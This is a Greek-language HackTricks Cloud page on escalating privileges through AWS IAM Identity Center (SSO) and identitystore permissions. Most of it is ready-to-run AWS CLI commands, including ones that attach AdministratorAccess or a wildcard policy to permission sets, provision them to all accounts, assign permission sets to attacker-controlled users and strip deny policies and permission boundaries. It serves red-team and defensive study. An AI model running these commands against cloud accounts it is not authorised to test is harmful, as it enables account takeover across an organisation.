AWS - SSO & identitystore Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
AWS Identity Center / AWS SSO
Για περισσότερες πληροφορίες σχετικά με AWS Identity Center / AWS SSO δείτε:
AWS - IAM, Identity Center & SSO Enum
Warning
Σημειώστε ότι κατά default, μόνο οι users με δικαιώματα form τον Management Account θα μπορούν να έχουν πρόσβαση και να control το IAM Identity Center.
Οι χρήστες από άλλους λογαριασμούς μπορούν να το επιτρέψουν μόνο εάν ο λογαριασμός είναι Delegated Adminstrator.
Check the docs for more info.
Επαναφορά Κωδικού
Ένας εύκολος τρόπος για να αυξήσει κανείς τα προνόμια σε τέτοιες περιπτώσεις θα ήταν να έχει ένα δικαίωμα που επιτρέπει την επαναφορά των κωδικών των χρηστών. Δυστυχώς, είναι μόνο δυνατό να σταλεί ένα email στον χρήστη για να επαναφέρει τον κωδικό του, οπότε θα χρειαστείτε πρόσβαση στο email του χρήστη.
identitystore:CreateGroupMembership
Με αυτό το permission είναι δυνατό να τοποθετήσεις έναν χρήστη μέσα σε μια ομάδα ώστε να κληρονομήσει όλα τα δικαιώματα που έχει η ομάδα.
aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>
sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet
Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει χορηγηθεί σε χρήστη υπό τον έλεγχό του
# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml
# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet
Ένας επιτιθέμενος με αυτήν την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει εκχωρηθεί σε χρήστη υπό τον έλεγχό του.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet
Ένας επιτιθέμενος με αυτή την άδεια θα μπορούσε να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει δοθεί σε έναν χρήστη υπό τον έλεγχό του.
Warning
Για να καταχραστείτε αυτές τις άδειες σε αυτή την περίπτωση χρειάζεται να γνωρίζετε το όνομα μιας customer managed policy που υπάρχει σε ΟΛΟΥΣ τους λογαριασμούς που πρόκειται να επηρεαστούν.
# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>
# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS
sso:CreateAccountAssignment
Ένας attacker με αυτήν την άδεια θα μπορούσε να εκχωρήσει ένα Permission Set σε έναν user που ελέγχει για ένα account.
aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>
sso:GetRoleCredentials
Επιστρέφει τα βραχυχρόνια διαπιστευτήρια STS για ένα δεδομένο όνομα ρόλου που έχει ανατεθεί στον χρήστη.
aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>
Ωστόσο, χρειάζεσαι ένα access token που δεν είμαι σίγουρος πώς να το αποκτήσω (TODO).
sso:DetachManagedPolicyFromPermissionSet
Ένας attacker με αυτή την permission μπορεί να αφαιρέσει τη συσχέτιση ενός AWS managed policy από το συγκεκριμένο permission set. Μπορεί να παραχωρηθούν περισσότερα privileges μέσω detaching a managed policy (deny policy).
aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>
sso:DetachCustomerManagedPolicyReferenceFromPermissionSet
Ένας attacker που έχει αυτό το permission μπορεί να αφαιρέσει τη σύνδεση ενός Customer managed policy από το συγκεκριμένο permission set. Είναι δυνατή η παροχή περισσότερων προνομίων μέσω του detaching a managed policy (deny policy).
aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
sso:DeleteInlinePolicyFromPermissionSet
Ένας attacker με αυτή την άδεια μπορεί να αφαιρέσει τις permissions από ένα inline policy από το permission set. Είναι δυνατό να χορηγηθούν more privileges via detaching an inline policy (deny policy).
aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>
sso:DeletePermissionBoundaryFromPermissionSet
Ένας attacker με αυτήν την άδεια μπορεί να αφαιρέσει το Permission Boundary από το Permission Set. Είναι δυνατό να χορηγηθούν περισσότερα προνόμια αφαιρώντας τους περιορισμούς στο Permission Set που επιβάλλονται από το Permission Boundary.
aws sso-admin delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

